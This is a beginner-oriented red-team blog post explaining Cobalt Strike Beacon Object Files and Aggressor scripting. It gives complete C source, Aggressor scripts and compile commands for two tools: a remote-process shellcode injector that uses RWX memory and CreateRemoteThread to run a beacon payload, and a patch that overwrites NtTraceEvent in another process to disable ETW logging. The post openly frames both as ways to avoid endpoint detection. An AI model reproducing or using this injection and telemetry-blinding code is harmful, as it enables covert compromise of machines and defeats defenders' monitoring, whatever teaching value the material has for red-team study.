Beginner-friendly blog explaining BOFs and writing custom process injector and remote Etw patching.
What the hell is a BOF?
Before starting, let’s see what CobaltStrike’s User Guide explains about the definition of Beacon Object Files.
“A Beacon Object File (BOF) is a compiled C program, written to a convention that allows it to execute within a Beacon process and use internal Beacon APIs. BOFs are a way to rapidly extend the Beacon agent with new post-exploitation features.” ~ hstechdocs.helpsystems.com
Let’s break down the definition of BOF; the definition is divided into three components:
- A small compiled C/C++ program
- Mainly allows a red teamer to execute code within the beacon’s process
- Normally, BOFs are highly used to extend the functionality of the Command & Control Center
So, the requirement of BOFs is straightforward and gives an advance and easy solution to expand our Post-Exploitation techniques and behaviour.
Why Do I need a BOF?
- Why Do I need a BOF? Why not just simply shell commands?
To answer this question, we must dive deep into shell commands. In general shell
command in C2 uses cmd.exe,
powershell.exe,
/bin/sh,
and more. Talking about CobaltStrike uses cmd.exe
to execute the given shell commands; This generally spawns a new cmd.exe
attached to standard in/Out/Error.
So what’s the issue?
The issue is that shell
commands are bad OPSEC and get a red teamer caught within a while. The Endpoints mainly monitor the process creations and different event logs through the kernel level.
Lets talk about the history
BOFs were first introduced by Raphael Mudge, founder of Cobaltstrike. And now, BOFs functionality is part of many Commercial, and Open-Source C2s like Sliver (Open Source), Havoc (Open Source), BRC4(Commercial), NightHawk(Commercial), and many more The BOFs were added with the release of Cobalt Strike 4.1, a more OPSEC Friendly manner to improve and enhance Post-Explotation.
What are its Technical Details?
We are starting with the technical details by discussing the structure and sections of Beacon Object Files.
- The very first lines of the C/C++ code contain all the required imports, i.e.
beacon.h
andwindows.h.
That’s the very first section of BOFs.#include <windows.h> #include "beacon.h"
Before talking about the next section, we must talk about Cobaltstrike’s function convention; this means executing the following function, how we declare it, and using it in a BOF. We will discuss 2 approaches for this function convention, starting with Dynamic Function Resolution (DFR) and later with an alternative to DFR.
Naming Conventions
Dynamic Func. Resolution
As we already discussed, DFR is a convention to declare and call Win32 APIs. The format is quite simple:
LIBRARY$Function.
Let’s talk about how it works practically. And why we need this type of convention in the BOF file.
Why Convention?
“BOFs are single-file C programs that call Win32 APIs and limited Beacon APIs. Don’t expect to link in other functionality or build large projects with this mechanism. Cobalt Strike does not link your BOF to a libc
.” ~ hstechdocs.helpsystems.com
As Cobaltstike doesn’t like any libc,
this can be interpreted as our BOF cannot use standard functions like strlen, stcmp, etc.
. We need a function convention; the convention tells the CobaltStrike’s Bof loader to load these Win32 APIs while loading the BOF.
Using the Conventions
- Example-1
We start by declaring the name of Win32 API in the format of LIBRARY$Function.
Taking an example of a well know Win32 API called OpenProcess
.
OpenProcess
API requires three parameters.- It’s part of
Kernel32
Dll. - The return value is a
HANDLE
of the process.
We are combining this information in our convention format.
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
- Example-2
Another example of a well know Win32 API called
VirtualAllocEx
.VirtualAllocEx
API requires three parameters.- It’s part of
Kernel32
Dll. - The return value is an
LPVOID
, the base address of the allocated region.
We are combining this information in our convention format.
DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
Note: Keywords, such as
WINAPI
andDECLSPEC_IMPORT
, are essential. These decorations give the compiler the needed hints to pass arguments and generate the proper call instruction.
Alternate way
Now that we have a basic idea of DFR, let’s talk about a fantastic alternate way. There are 3 functions available within the BOF file. GetProcAddress, LoadLibraryA, GetModuleHandle,
and FreeLibrary.
We can call any function by loading the dll and getting its handle using these functions.
Example-1
An example of getting the
EtwEventWrite
address fromntdll.dll
usingGetModuleHandle
andGetProcAddress.
void* pAddress = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
Example-2
Getting an NTApi using
GetProcAddress
andGetModuleHandleA.
/*
Declaring the `NtOpenProcessToken` Api using `typedef.`
*/
typedef NTSTATUS(NTAPI* _NtOpenProcessToken)(
IN HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
OUT PHANDLE TokenHandle
);
/*
Using the Api to retrive address of `NtOpenProcessToken.`
*/
_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken) GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenProcessToken");
if (NtOpenProcessToken == NULL) {
return FALSE;
}
/*
Further it can be used in normal manner.
*/
NTSTATUS status = NtOpenProcessToken(ARG1, ARG2, &ARG3);
Main Function?
In a BOF, by default, we don’t use
main
functions; instead, we usego,
this can be easily customized while using Aggressor script, explained in Aggressor Scripting Section.
Now that we have a basic understanding and structure of a BOF, let’s discuss its advantages and disadvantages quickly, then a practical approach to creating a BOF with Aggressor scripting.
Pros and Cons
-
Pros Starting this section with the pros of BOFs, we first have Extend Functionality; This means we have to create a custom implementation for Process Injection, alternate to PowerPick, by patching
Amsi
andEtw
with a different/custom approach. It’s minimal and tiny when compiled into a BOF/Obj file. The BOFs are very much meant to be accurate and OPSEC-friendly. The C/C++ compiler can be used to compile BOFs. Direct Syscalls are manageable with it for a more Opsec-friendly structure. At last, these BOFs are executed in memory, so there is no need to worry about static evasions. -
Cons The most significant disadvantage of BOFs is that debugging them is nearly impossible. If BOF crashes during execution, you are losing the beacon. So it’s recommended to write it carefully. There is no support for Asynchronous or long-running processes. As we already discussed, it has no
libc
attached.
Aggressor Scripting
Aggressor scripts and their scripting is a massive topic; we will discuss the basics of scripting with handling user arguments and loading shellcodes to our BOFs; First, let’s start with the structure of Aggressor scripts.
Basic
Basically, Aggressor scripts are made of a scripting language for the java platform called Sleep, created by the founder of CobaltStrike, Raphael Mudge. It is mainly used for BOFs. The well know scripts are Artifact and Resource Kit.
Basic Structure
- Global Variables
We can define a global variable in this from
$VARIABLE.
$PROCESS_NAME = "svchost.exe";
- Aliases
Aliases are used to define a new command for beacons.
alias HelloMom {
blog($1, "Hello Mom!");
}
- Functions
To declare a function, use the
sub
keyword.
sub PrintSomething {
println($1);
}
PrintSomething("Hello Mom, a function!");
- Arguments and Loading BOFs
We can pass arguments to a BOF using aggressor scripts.
alias HelloMom {
$PrintMe = $2; # Variable to store
blog!($1, "Executing BOF using this data: $PrintMe"); # Publishes an output message to the Beacon transcript.
local('$handle $data $args');
$handle = openf(script_resource("HelloMom.x64.o")); # Load the BOF
$data = readb($handle, -1);
closef($handle);
beacon_inline_execute($1, $data, "go", $args); # Execute the BOF by giving arguments
}
Note: In the last line, when we use
beacon_inline_execute
, we get to customise which function is the entry point for BOF; in this example, we usedgo,
while thego
as the entry point is the default.
Time to write BOF
Keeping this easy to understand, we will write a custom process injection. The approach is the same as standard process injection; the only new thing here is the function naming convention and creating a custom implementation of the default function of libc
.
Process Injection Approch
The approach is divided into 4 sections with 2 sub-sections (regarding aggressor scripting required).
- We start by opening a process using Win32 API
OpenProcess.
- Using Aggressor scripting for arguments, i.e.
PID
of the process.
- Using Aggressor scripting for arguments, i.e.
- Allocating
RWX
(Opsec 101) memory usingVirtualAllocEx
Win32 API. - Importantly, write the shell code for the process.
- Using Aggressor scripting for shellcode.
- Creating a thread to execute the shellcode and get a beacon.
Start by importing the necessary functions beacon.h
and windows.h.
Furthermore, we add the required functions OpenProcess,
VirtualAllocEx,
CreateRemoteThread
, and WriteProcessMemory
WIN32 APIs.
#include <windows.h>
#include "beacon.h"
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(
DWORD dwDesiredAccess,
WINBOOL bInheritHandle,
DWORD dwProcessId);
DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$WriteProcessMemory (
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread (
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
We are using the first function convention called DFR. Now we start with the usual process injection technique. Using the Win32 APIs. Starting by declaring the inject
function and entry point go.
void Inject(DWORD pid, unsigned char * shellcode, SIZE_T shellcode_len) {
}
The inject function takes three parameters:
- Add a
1
byte to the original size of the shellcode to avoid all crashes. - The
pid
is the Process Id; we use this ID to open the process and inject the shellcode. - The
shellcode,
this is the shellcode generated by the CobaltStrike’s Aggressor scripts. - The
Shellcode_len
is just the length of the generated shellcode.
void Inject(DWORD pid, unsigned char * shellcode, SIZE_T shellcode_len) {
HANDLE pHandle;
HANDLE rThread;
PVOID rBuffer;
WINBOOL check;
SIZE_T allocation_size;
allocation_size = shellcode_len + 1;
pHandle = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
rBuffer = KERNEL32$VirtualAllocEx(pHandle, NULL, allocation_size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
check = KERNEL32$WriteProcessMemory(pHandle, rBuffer, shellcode, allocation_size, NULL);
rThread = KERNEL32$CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, NULL);
KERNEL32$CloseHandle(pHandle);
return 0;
}
I declare all the Important variables, execute the Win32 APIs individually, provide all necessary arguments, and close the handle with return code 0.
The next part is all about creating the entry point for the BOF; this function contains the beacon.h
’s required functions like BeaconDataParse,
BeaconDataExtract,
and more. We must also create an aggressor script to provide the shellcode and Process ID. Let’s walk through that part.
Creating the entry point, as we already discussed, you can pick any entry point name, but make sure to modify the aggressor script appropriately.
void go(char * args, int len) {
datap parser;
DWORD pid;
unsigned char * shellcode;
SIZE_T shellcode_len;
BeaconDataParse(&parser, args, len);
pid = BeaconDataInt(&parser);
shellcode_len = BeaconDataLength(&parser);
shellcode = BeaconDataExtract(&parser, NULL);
BeaconPrintf(CALLBACK_OUTPUT, "Shellcode Size: %d bytes", shellcode_len);
Inject(pid,shellcode,shellcode_len);
}
Starting this function, we have declared a variable called parser,
the datatype for this variable is data
; this is a custom datatype provided within the beacon.h
To parse the arguments given from aggressor scripts. Then we declare variables for shellcode, its length and pid with the proper datatype. The next part is to Parse
the arguments; for that, we can use another function from the beacon.h
header file, that is BeaconDataParse.
The PID is always an integer and used as DWORD,
Now it is the turn to use the BeaconDataInt
function. To fetch the shellcode, we can use BeaconDataExtract,
and the BeaconDataLength
function for its length. Also, we used a function called BeaconPrintf,
to print something from the BOF to CobaltStrike. We can use that to print the length of the shellcode.
Now that this part is clear, let’s see how to make the aggressor script Parse the shellcode and pid.
beacon_command_register (
"InjectShellCode",
"Opens a process (given PID), and injects shellcode.");
alias InjectShellCode {
$pid = $2;
$listener = $3;
if (listener_info($listener) is $null) {
berror($1, "Could not find listener $listener");
}
else {
$sc_data = artifact_payload($listener, "raw", "x64");
local('$handle $data $args');
$handle = openf(script_resource("InjectShellCode.x64.o"));
$data = readb($handle, -1);
closef($handle);
$args = bof_pack($1, "ib", $pid, $sc_data);
btask($1, "Opening $pid and Injecting ShellCode with $listener listener");
beacon_inline_execute($1, $data, "go", $args);
}
}
Aggressor Script is quite simple; we first register our alias
by using beacon_command_register.
Then we create an alias.
The 2nd
and 3rd
arguments are Pid
and Listener
. Then we use the if/else
condition to check whether we have that listener running. If it’s not running, we throw an error. Else we generate a raw payload using artifact_payload.
Providing the listener and arch. Now we load our BOF file using local
and openf.
Now for the most crucial part, the arguments, we have to use a function called bof_pack
to pack all arguments. The first argument is $1,
and the 2nd one is the type of all the arguments.
Type | Description | Unpack With (C) |
---|---|---|
b | binary data | BeaconDataExtract |
i | 4-byte integer | BeaconDataInt |
s | 2-byte short integer | BeaconDataShort |
z | zero-terminated+encoded string | BeaconDataExtract |
Z | zero-terminated wide-char string | (wchar_t*)BeaconDataExtract |
We first have the PID,
an integer for our case. The next is raw bytes generated by the artifact_payload
function; the data type associated with this is bytes (Binary Data); This is the reason why we choose "ib".
i
stands for Integer, andb
stands for Binary Data. (check the table).
Now that we have everything ready let’s load in Cobaltstrike and compile the BOF. We can use the x86_64-w64-mingw32-gcc
cross-compiler to compile the BOF.
x86_64-w64-mingw32-gcc -o "InjectShellCode.x64.o" -c "InjectShellCode.c"
Once that is done, we place the cna
(Aggressor script) in the same directory. From Cobaltstrike, we load the cna. Once the script is loaded, the help menu contains our added alias
.
We can execute by giving two arguments, listener and PID. In my case name of the listener is HTTPS.
As we can see, we managed to inject shellcode in the different processes using custom BOF. We can take this to another level using syscalls with different process injection methods like Early Bird APC
, ProcessHollow,
EnumDisplayMonitors,
and many more. Before proceeding to the next BOF, we also have to add handling all sorts of exceptions, and errors, moreover implement the if/else
condition for injection. This way, we can protect the beacon from dying because of BOF.
Patching ETW
In this section, we will write a custom BOF to disable ETW in a remote process. There are 3-2 steps for performing our task.
- Get the
NtTraceEvent
address fromntdll.dll.
- Change its permissions to Read and Write
- Modify the bytes (
\x48\x33\xc0\xc3
) - Permissions Back to Default
Let’s go through the code, the same approach as Process Injection Part. Declaring all the required functions, OpenProcess,
WriteProcessMemory,
and VirtualProtect.
#include <windows.h>
#include "beacon.h"
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(
DWORD dwDesiredAccess,
WINBOOL bInheritHandle,
DWORD dwProcessId);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$WriteProcessMemory (
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect);
DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
Now we have all the crucial functions regarding the ETW patching. We open a process, giving a process id. We use the same part of the aggressor script for PID. First, let us get the memory address of NtTraceEvent
from ntdll.dll.
void patchETW(DWORD pid) {
HANDLE hProc = NULL;
SIZE_T bytesWritten;
HANDLE nDLL = LoadLibrary("ntdll.dll");
PVOID mAddress = GetProcAddress(nDLL, "NtTraceEvent");
if (mAddress != NULL) {
BeaconPrintf(CALLBACK_OUTPUT, "NtTraceEvent is at 0x%p", mAddress);
}
}
Once we have the memory address for NtTraceEvent,
we can open the process, Write the memory bytes to patch it.
unsigned char etwbypass[] = { 0x48, 0x33, 0xc0, 0xc3 };
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
if (hProc == NULL) {
BeaconPrintf(CALLBACK_OUTPUT, "Cannot open the process with this PID: %d", pid);
return 1;
}
BeaconPrintf(CALLBACK_OUTPUT, "Process opened with this PID: %d", pid);
BOOL success = KERNEL32$WriteProcessMemory(hProc, mAddress, (PVOID)etwbypass, sizeof(etwbypass), &bytesWritten);
if (success) {
BeaconPrintf(CALLBACK_OUTPUT, "Patched NtTraceEvent in remote process: PID:%d",pid);
return 0;
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "Failed to patch NtTraceEvent in remote process: PID:%d", pid);
return 1;
}
KERNEL32$CloseHandle(hProc);
Now, our patchETW
function, Opens the process and gets the memory address from ntdll.dll
for NtTraceEvent
, And writes the bytes to patch ETW. The go
function parses the PID for the process.
void go(char * args, int len) {
datap parser;
DWORD pid;
BeaconDataParse(&parser, args, len);
pid = BeaconDataInt(&parser);
BeaconPrintf(CALLBACK_OUTPUT, "Given Process ID: %d", pid);
patchETW(pid);
}
For the Aggressor script, we use the same beacon_command_register
and alias
for patching etw.
beacon_command_register (
"PatchETW",
"Opens a process (given PID), and patches Etw.");
alias PatchETW {
$pid = $2;
local('$handle $data $args');
$handle = openf(script_resource("PatchETW.x64.o"));
$data = readb($handle, -1);
closef($handle);
$args = bof_pack($1, "i", $pid);
btask($1, "Opening $pid and Patching ETW!");
beacon_inline_execute($1, $data, "go", $args);
}
We use the same command to compile the BOF, and load the cna
into CobaltStrike, and execute it to patch ETW in a powershell.exe
process.
Once the Cobaltstrike loads our aggressor script, we execute it by giving it the PID.
The aggressor script and BOF can be modified in various ways to avoid the detection of endpoints. Now let’s finally jump to the summary.
What About Sliver?
Sliver C2 also supports BOFs, those aren’t as good as Cobaltstrike, but its open source, unlike commercial C2s.
According to Sliver’s Wiki. It is pretty easy to convert Cobaltstrike’s BOFs to work with Sliver, and no extra modification is required too. It requires extension.json
and coff-loader
; This means you will need coff-loader
downloaded through armory.
A full guide can be found here.
Summary
We started with the definition of BOFs, and the requirement is straightforward and gives an advanced and easy solution to expand our Post-Exploitation techniques and behaviour. Then we talked about why we need the BOFs and went through the technical details by discussing the structure and sections of Beacon Object Files; This includes the function convention and an alternate convention, which means how we are supposed to declare all the Win32 functions, and using it in a BOF. And why we need this type of convention in the BOF file. Next, we moved to Aggressor Scripting and scripts; we discussed the basics of scripting with handling user arguments and loading shellcodes to our BOFs. Once all possible requirements were completed, we created two BOFs: process injection and Patching Etw in the remote process. All the source code can be found on Github.
I hope you have liked the blog about BOFs. If you have any issues, hit me on Twitter/Discord, and we can discuss the issue. In part 2, we will discuss advanced techniques and what’s wrong with these created BOFs, mainly focusing on evasion.
- References